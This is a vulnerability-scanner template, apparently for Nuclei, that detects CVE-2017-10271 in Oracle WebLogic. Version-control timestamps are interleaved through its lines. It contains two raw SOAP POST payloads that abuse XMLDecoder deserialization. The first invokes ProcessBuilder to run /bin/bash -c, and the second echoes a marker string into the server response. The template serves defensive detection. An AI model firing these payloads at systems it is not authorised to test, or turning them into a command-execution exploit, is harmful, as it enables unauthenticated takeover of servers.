2021-02-03 00:48:46 +00:00
id : CVE-2017-10271
info :
2022-05-26 15:15:35 +00:00
name : Oracle WebLogic Server - Remote Command Execution
author : dr_set,ImNightmaree
2021-02-03 00:48:46 +00:00
severity : high
2022-05-26 15:15:35 +00:00
description : |
Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent - WLS Security). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.
2021-08-19 13:15:35 +00:00
reference :
- https://github.com/vulhub/vulhub/tree/fda47b97c7d2809660a4471539cd0e6dbf8fac8c/weblogic/CVE-2017-10271
- https://github.com/SuperHacker-liuan/cve-2017-10271-poc
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
2022-05-26 15:15:35 +00:00
cvss-score : 7.50
2021-09-10 11:26:40 +00:00
cve-id : CVE-2017-10271
2022-04-07 13:53:15 +00:00
tags : cve,cve2017,rce,oracle,weblogic,oast
2021-02-05 19:44:41 +00:00
2021-02-03 00:48:46 +00:00
requests :
2021-02-04 19:43:23 +00:00
- raw :
- |
2021-08-19 14:44:46 +00:00
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host : {{Hostname}}
Accept : */*
Accept-Language : en
Content-Type : text/xml
2021-02-04 19:44:43 +00:00
2021-08-19 14:44:46 +00:00
<?xml version="1.0" encoding="utf-8"?>
2021-09-12 13:02:24 +00:00
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
2021-08-19 14:44:46 +00:00
<soapenv:Header>
2021-09-12 13:02:24 +00:00
<work:WorkContext
xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
2021-08-19 14:44:46 +00:00
</void>
2021-09-12 13:02:24 +00:00
<void index="1">
<string>-c</string>
2021-08-19 14:44:46 +00:00
</void>
2021-09-12 13:02:24 +00:00
<void index="2">
2022-05-26 15:15:35 +00:00
<string>example.com</string>
2021-09-12 13:02:24 +00:00
</void>
</array>
<void method="start"/></void>
2021-08-19 14:44:46 +00:00
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
2021-02-04 19:43:23 +00:00
2022-05-26 15:15:35 +00:00
- |
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host : {{Hostname}}
Accept : */*
Accept-Language : en
Content-Type : text/xml
<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string>{{randstr}}</string></void></void>
</void>
</void>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
stop-at-first-match : true
2021-11-04 23:18:10 +00:00
matchers-condition : and
2021-02-03 00:48:46 +00:00
matchers :
2022-05-26 15:15:35 +00:00
- type : regex
regex :
- "<faultstring>.*</faultstring>"
- "{{randstr}}"
condition : or
2021-11-04 23:18:10 +00:00
- type : status
status :
2022-02-21 18:33:16 +00:00
- 500
2022-05-26 15:15:35 +00:00
- 200
condition : or